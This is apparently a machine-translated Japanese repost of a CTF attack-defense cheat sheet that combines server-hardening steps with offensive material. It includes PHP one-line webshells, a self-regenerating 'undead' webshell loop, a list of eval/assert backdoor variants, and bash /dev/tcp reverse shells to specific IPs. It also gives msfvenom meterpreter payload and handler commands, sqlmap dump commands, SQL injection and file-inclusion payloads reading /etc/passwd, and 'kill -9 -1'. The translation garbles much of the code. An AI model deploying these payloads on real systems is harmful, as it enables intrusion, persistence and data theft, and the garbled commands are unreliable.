CTFの基本&& AWDは、赤と青に対する

AWD

バックアップソースは、アカウントのパスワードを変更し、バックドアが削除された場合、次に見ます

変更 MySQLのパスワードを

フォーマット: mysqladminは-uユーザ名-pパスワード新しいパスワード古いパスワードの 
例: mysqladminは-uroot - Pパスワード123 123456

MySQLのフルバックアップと復元

バックアップ -データベース:mysqldumpを-uユーザー名-pパスワードデータベース名> /root/XXX.bak

指定されたデータベースのバックアップ次のカンガルーのホームディレクトリ、ファイル名XXX.bak

回復ます。mysql -uユーザ名-pパスワードデータベース名</root/XXX.bak

トロイの木馬文

<?phpの@Eval($ _ REQUEST [ 'パス']); ?> <%evalの要求( "合格")%> <PHP @Eval($ _ POST [ 'C']);??>

維持するためのパーミッション: 1.死んだ馬、2シェルNC -lp 9999リバウンドNC

PSのauxww |プロセスを殺すことができるPIDを見つけた後はgrep shell.php

変更 sshのファイルvimのは、/ etc / ssh / sshd_configのPermitRootLoginなし

最後尾のプラス AllowUsersという劉liu1

linuxの所有者とグループファイルが配置されているファイルを変更

chgrpコマンドユーザーファイル名-R

chownコマンド名、ファイル名-R

chmodの-R 777の/ var /ホーム/ユーザーID / ccで

1 ビューポート

netstatコマンド- tunpl         netstatの-tunpl | grepの23(ポート23が開いている参照)

対応するポートのアプリケーションを確認してください2。

lsofは-i:XXX               検索プロセス  psの補助

3.閉じるポート

のiptable

sudoのiptablesの-A INPUT -p tcpの--dport $ PORT -j DROP "
はsudoのiptables -A OUTPUT -p tcpの--dport $ PORT -j DROP"   

キル

psの補助

キル-9 PID「(PID:プロセスID)

sudoの/etc/init.d/apache2再起動

。防衛戦略
コマンドインジェクションの脆弱性
a)の例ではSTR1 = $ _POST [ 'CMD' ]、 STR1で接続文字'#'コメント文字、STR1 = "#"の前に。$ _POST [ 'CMD']
b)は        
、アップロードファイルの脆弱性
A )コードをアップロードするために書かれたコメント。
b)の        
脆弱性が含まれるファイル
A)をphp.iniファイルを変更
allow_url_fopenをON
allow_url_includeをON
                 として修正
allow_url_fopenをオフ
はallow_url_includeのオフ
)B        
リモートでコードが実行される脆弱性
A)ノートハザード関数:システム()exec_shell()はeval () アサート()する。create_function()にpreg_replace()ますfile_put_contents()
b)の        
オーバーフローの脆弱性緩衝液
A)を電流基準"7.Linux権限抜け穴"防衛。
B)        
システムバックドアの脆弱性
)を直接バックドア削除
B)を「PS -ef |バックドアのbashがあるかどうかを確認するためにgrepをbashの「コマンド
C)「SS -ltnp」コマンドは、バックドアのリスニングポートがあるかどうかを確認するために
して、二つのステップからプログラムのPIDを見つける。)Dプログラム終了するバックドアbashコマンド「キルは、PID」
文書の内容が見つから表示、Webサイトのディレクトリ内の電子を)単語やトロイの木馬、ファイルの削除またはコメントコードウェブシェル
f)は         
Linuxの特権脆弱性
| A)「はgrep httpdのPS -ef 」 修正ファイル/etc/httpd/httpd.conf見つかった場合はApacheサービスの実装は、ルートサービスであるかどうかを確認するためのコマンドを「グループ」フィールドにプラスのapache apacheの後の「ユーザ」は、httpdサービスを再起動します。Apacheサービスは、サービスを実行するためのApacheのユーザーである。
B)攻撃者はbashはファイルのフラグ内容を読み取り使用することはできませんしましょう、その名前を変更し、/ binに/猫/ binに/ echoコマンドキーとその他のバイナリファイルを修正します。                                   
   1.アンチXSS

使用 strip_tags()の機能フィルタ文字列のHTML タグ;

使い方はhtmlspecialchars()に敏感な文字を変換する機能を。

 $メッセージ= mysql_real_escape_stringの($メッセージ)。


:本文出力、HTMLタグを出力属性として
例えば: <スパン> $ {ユーザー名} </スパン>、<P> <C:OUT値= "$ {ユーザー名}"> </ C:OUT> </ P>
の<input type = "text"値= "$ {ユーザー名}" />
この場合のエスケープルールは次の通りです:
<<に変換
>>に変身
&&に変換
"変換"に
'に変身'
JavaScriptイベント
<入力タイプ=「ボタン」οnclick= 「go_to_url( 『$ {myUrl}』);」/>
上記のものに加えて脱出するだけでなく、追加のエスケープ以下:
\\に\ターン
\ /へ/ターン
;へのターン;(フル;)
E)url属性
の場合  の<script>、srcとhref属性の<style>、<IMT>タグは、それが悪質な接続URLではないことを保証するために、動的なコンテンツなどがあります。
:いることを確認 HREFと、srcの値はhttpで始まる必要があります://初めに、ホワイトリストモード; 10進数と16進数エンコード文字を使用することはできません。
:パラメータパラメータを渡し、動的代表である
伝達関数パラメータ名:タイトル
 :(URL「プロファイル」に符号化後に復号化され、一般的に反射型XSSの注入点)パラメータ通過コンテンツの値
F)アップロードWAF
フレームがあれば書き込み非常に良いウェブは.user.iniであることを追加するためにPHPを実行している(nginxのは、より一般的にIIS)それはFastCGIのであれば、それは断片化された場合に書き換え、ファイルやデータベースファイル、PHPファイルを必要とし、方法があることを直接展開しました特定の百度、.user.iniバックドア、同じ原理。他の例では、各PHPの前に、サンプルスクリプトコードがリリースされることを追加するためのスクリプトを記述することを強制することができます。(もちろん、apacheの.htaccessファイルは、元のページに戻って、その後WAF書き換えを余儀なくされるが、場合には、それは環境を上書きしませんでした)
ファイルをインクルードするディレクトリに1 waf.phpの広がりを
、ページガードを追加します。2.そこに2から選択された場合に応じて二つのアプローチ、:
。)コードページ必要な保護に追加
するrequire_once(「waf.phpは」);

ページインジェクション、クロスサイトを行うことができ
ますが、全体の駅抗注意をしたい場合は、それパブリックドキュメントサイトで、データベースリンクファイルなどでconfig.inc.phpを!
追加するrequire_once( 'waf.phpを');を呼び出すためのコード
の一般的なファイルシステムを追加するPHPは
V9 \ phpCMS \ Base.phpというPHPCMS
PHPWIND8.7 \データ\ sql_config.php
DEDECMS5.7 \データ\ common.inc.php
DiscuzX2 \ CONFIG \ config_global.php
ワードプレス\ WP-config.phpの
MetInfo \ head.phpの\含む
B)。ほとんどのコードと、各ファイルの前に
php.iniの中找到:
自動的に任意のPHPドキュメントの前または後にファイルを追加します。
auto_prepend_file = waf.php路径。

アップロード WAFは、

フレームが書かれている場合はウェブは、それが断片化されている場合、直接書き換え、ファイルやデータベースファイル、PHPファイルを必要とし、非常に良い展開、そしてそれはFastCGIを(nginxの、より一般的にIIS)である場合の方法は、そこにあることをPHPを実行しています特定のBaiduは、バックドア、同じ原理を.user.iniことだけ.user.ini追加します。他の例では、各PHPの前に、サンプルスクリプトコードがリリースされることを追加するためのスクリプトを記述することを強制することができます。(もちろん、apacheの.htaccessファイルはまた元のページに戻って、その後WAFを書き換えることを余儀なくされますが、場合には、それは環境を上書きしませんでした)


1. waf.phpファイルを含むディレクトリに伝達
から選択された2つのケースに応じて、ページ保護、2つの方法がある追加2:
コードページ必要な保護を加えA)
するrequire_onceを(「WAF .php「);
それが行わページインジェクション、クロスサイトすることができ
ますが、データベース・リンクファイルとして、公文書のサイト上で、全体の駅抗注意をしたい場合でconfig.inc.phpを!
追加するrequire_once( 'waf.phpを');を呼び出すためのコード
の一般的なファイルシステムを追加するPHPは
V9 \ phpCMS \ Base.phpというPHPCMS
PHPWIND8.7 \データ\ sql_config.php
DEDECMS5.7 \データ\ common.inc.php
DiscuzX2 \ CONFIG \ config_global.php
Wordpressの\ WP-config.phpの
MetInfo \ \ head.phpの含まれ
た各ファイルに加えて何よりもコードでBを)
のphp.iniを見つける:
自動的に追加ファイルまたは後に任意のPHPドキュメントの前に。
auto_prepend_file = WAF。 PHPのパス。

一般的な強化方法:

プロセスを強化:

  1. 修正ウェブマスターパスワード
  2. バックアップウェブサイトのソース
    1. タール-zcf /tmp/name.tar.gz /パス/ウェブ
    2. -zcf /tmp/name.tar.gz / var / www / htmlと設定とり
  3. データベースのバックアップ
    1. mysqldumpを-u ユーザ名-p データベース名> エクスポートされたファイル名
    2. mysqldumpを-uユーザー-pデータベース> /tmp/database.sql
  4. 変更(現在のユーザのパスワードを変更、である)sshのパスワード
  5. 変更 MySQLのパスワード
    1. 設定パスワードユーザー名@localhost =パスワード(「新しいパスワード」);
    2. ユーザーの設定パスワード@ localhostのパスワード=( '123');
  6. 変更のMongoDBパスワード(ポート27017)
  7. 変更 Redisのコード(ポート6379)
  8. ウェブサイトのソースコードのデータベース接続の設定を変更します
  9. 展開 WAF(空き状況による)

ファイルの監視

スクリプト、モニターを準備し、すべての新しいファイルを削除します。

メモリ馬、直接再起動して下さい PHPを。

監視スクリプトが利用できない場合は、定期的に新しいファイルを確認し、変更コマンドを使用します。

ウェブパス-ctimeを見つける-1(新しいファイルが疑わしい最近の日を参照してください)

 

1)ユーザのログイン、入るのプレゼンスSQLインジェクションポイントのテストを、ユニバーサルパスワード'または1 =「1つの弱いパスワード管理者/管理者Firefoxのプラグインhackbar

名前を選択し、名前=「tbAdminから通過」または1 =「1」と通過=「123456」

2)ああDスキャンサイトSQLインジェクションポイント、SQLMAP注射、

ときにゲームのAccessデータベースの注入ポイント:

http://10.1.14.1/ReadNews.asp?NewsID=20&BigClassID=2&SmallClassID=2

SQLMAP -u "URL" Viewシステム、バージョン

SQLMAP -u "urlは" バーストデータベースを--dbs

-u "URL" --tables -D CTF爆表SQLMAP

SQLMAP -u "URL" --column -D CTF -Tユーザー爆列

SQLMAP -u "URL" --dump -D CTF -Tユーザー "USER_NAME、user_pass" 爆字段

Webサイト情報データベースのパスワード・ファイルは、一般的に配置されているのconfig.phpに。

3.ファイルが含まれています

含まれている1)ローカルファイル

localhostの/ a.php?ファイル= / flag.txt

2)リモートファイルインクルージョン

localhostの/ a.phpファイル=のhttp:IP / echo.txt

使用、トロイの木馬文をアップロード

echo.txtファイルの内容は、コンテンツがshell.php文トロイの木馬を生成します。

<PHP fputs(のfopen( "shell.php"、 "W")、 "<PHPのeval(\ $ _ POST [XX]);?>");?>

一般的なファイルは、関数を含む)(含まれ、のinclude_once()、require()を、するrequire_once()

いくつかの古典的な試験方法:

?ファイル= .. / .. / .. / .. / .. / etc / passwdファイルのカット長いディレクトリ

?ページ=ファイル:/// etc / passwdファイル機密文書を読むために

?ホーム= main.cgi

?ページ=のhttp://www.a.com/1.php

http://1.1.1.1/../../../../dir/file.txt

4.不正アクセスallow_url_fopenを= ON、allow_url_includeを= ON

レベル越権:修正 ID、他人訪問

垂直方向の越権:バックグラウンド管理する方法を知っているアクセス、昇格権限、データへのアクセスによって、URLを。

着陸せずに、不正アクセスを/admin/upload/config.php、直接ディスプレイ 

防衛ウェブサイト

WAF、ファイル監視、セキュリティの犬、 

ヘッダ書き込み、上のrequire_once(「waf.php」)。

そこ月ここにフラグを:

  1. 剣スキャンは、そこにある、Webページを開くにはダブルクリックしフラグは。
  2. SSHログイン、システムのルートディレクトリ、は/ varの下に/ WWW / HTML
  3. MySQLのデータベースフィールド。
  4. リモートデスクトップのホスト、フォルダ

以下のための WebトラフィックのPHPのクロール、アプリケーション分析。

見つけることができる CTFラインの下で競争使用を、あなたは実際のシーンを使用することができるWebトラフィック解析攻撃のために来ました。

webloggerマスターを使用します:

   CD / var / www / htmlと設定/(または他のウェブディレクトリ)

   

   gitのクローンhttps://github.com/wupco/weblogger.git

   

   chmodの-R 777 weblogger /

   

   オープンのhttp:Webブラウザで//xxxxx/weblogger/install.php

   

   それをインストール

 

CTFDefense-CTFDefense

1.ctf-firewall.sh

iptablesの設定コマンドは、迅速なコンフィギュレーションを実行するための鍵となることができます。使用するときは、少しの環境に応じて変更する必要があるかもしれません

2.commannd.md

いくつかの一般的なライン次のレース Linuxオペレーティングコマンド

3.getRoot

いくつかのローカル権限昇格 POC、各ファイルはリリースディレクトリ内のファイルをコンパイルし、詳細な使用上の注意を持っています。いくつかの実用的なスクリプトがあります。

 

4.表示

シンプル、作成監視、削除することができ、ファイル監視のサンプルスクリプト、移動、プロパティの変更は、自動的に新しいファイルやディレクトリを削除します。使用済み pyInstallerのは、Linuxの実行可能ファイルにパッケージ化

 

5. WAF

Linuxのセキュリティ犬のバージョンといくつかのWAF スクリプト

 

 

 

 

nmapの-nv IPのnドゥDNS

nmapの-sS IP SYN

高強度のnmap -T4 -A

 

python -c '輸入PTY; pty.spawn( "/ binに/ bashの")'

 

タール-zcf /tmp/xxx.tar.gz HTML

-xzvf /tmp/xxx.tar.gzを取ります

 

mysqldumpを-uxxx -pxxx DBNAME> xxx.sql

 

passwdの

修正ウェブマスターパスワード

更新ユーザーが設定したパスワード= MD5(「XXXXXX」);

データベースのパスワードを変更します。

ユーザー名@localhost =パスワード(「新しいパスワード」)のために設定したパスワード。

 

 

bashの-i>&/dev/tcp/10.51.4.222/8384 0>&1

bashの-i>&/dev/tcp/10.11.23.226/5555 0>&1

/ binに/ bashの-i&> /dev/tcp/10.51.4.222/8384 0>&1

エコー "/ binに/ bashの-i&> /dev/tcp/10.11.20.71/5555 0>&1" | / binに/ bashの

 

RM -rf / var / www / htmlと設定/ upload_lab /アップロード/ *

 

郵便番号:///var/www/html/upload/test.zip#test.php

http://123.206.174.251/include/2/?

 

OP =郵便番号://uploads/ea064516fe1e37af816bb52faa08eeb8589af4c0.png%23p

 

使用 MSF

msfvenom -p PHP / meterpreter / reverse_tcp LHOST = XXXX lportは= 5555-F生> 77778888.php

msfconsole:

マルチ/ハンドラを使用

セットペイロードPHP / meterpreter / reverse_tcp

セットlhost 0.0.0.0

5555 lportはセット

セットExitOnSessionの偽

-j実行

 

PHP死んだ馬

caidao

 

<?phpの

ignore_user_abort(真の);

set_time_limit(0);

リンク解除(__ FILE__);

$ファイル= '/var/www/dvwa/.ski12.php';

    $ファイル= 'D:\\ z_myweb \\ phpStudy \\ DVWAマスター\\ dvwa \\ busi.php';

$コード= '<(MD5($ _ GETは[ "パス"])== "cdd7b7420654eb16c1e1b748d5b7c5b8"){@評価($ _ POSTもしPHP?[' ']);}?>';

一方、(1){

ますfile_put_contents($ファイル、$コード);

//システム( 'タッチ-m -d "2018年12月1日午前9時10分12秒" .ski12.php');

usleep(5000);

}

 

 

 

バックドア

evalの($ _ POST [「」]);

アサート($は_ POST [ ""]); $ = "アサート" を書き込むことができる; $($ _ POST [])。

array_filter(配列($ _ POST [「」])、」アサート」)。

preg_replace( "/試験/ E"、$ _ POST [「 "]、" jutst試験」)。

$ FUNC =する。create_function( ''、$ _ POST [ '']); $ FUNC();

エコーarray_mapを(「アサート」、配列($ _ POST [「」]))。

call_user_func( "アサート"、$ _ POST [ 'CMD']);

call_user_func_array( "アサート"、配列($ _ POST [「」]))。

 

削除死んだ馬

殺す-9 -1

殺す-9 -1

 

 

新規ユーザのlinux

 

useraddの-m USERNAME1

passwdのUSERNAME1

USERMOD -a -G sudoのUSERNAME1

 

アンチ注入

addslashes

htmlspecialchars

 

おすすめ

転載: www.cnblogs.com/miansj/p/11954429.html